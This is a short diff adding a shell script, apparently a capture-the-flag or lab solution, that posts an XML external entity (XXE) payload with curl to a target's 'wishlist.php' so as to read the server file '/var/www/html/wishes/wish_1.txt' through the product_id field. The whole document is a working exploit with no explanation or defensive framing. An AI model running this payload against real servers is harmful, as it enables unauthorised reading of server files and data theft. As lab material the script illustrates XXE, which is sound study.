batman

5/wish.sh

@@ -0,0 +1,12 @@
+#!/bin/sh
+target=`cat trgt`
+curl -iH 'Content-Type: application/xml' "http://$target/wishlist.php" \
+ -d "<!--?xml version='1.0' ?-->
+<!DOCTYPE foo [<!ENTITY payload SYSTEM '/var/www/html/wishes/wish_1.txt'> ]>
+<wishlist>
+  <user_id>1</user_id>
+     <item>
+       <product_id>&payload;</product_id>
+     </item>
+</wishlist>"
+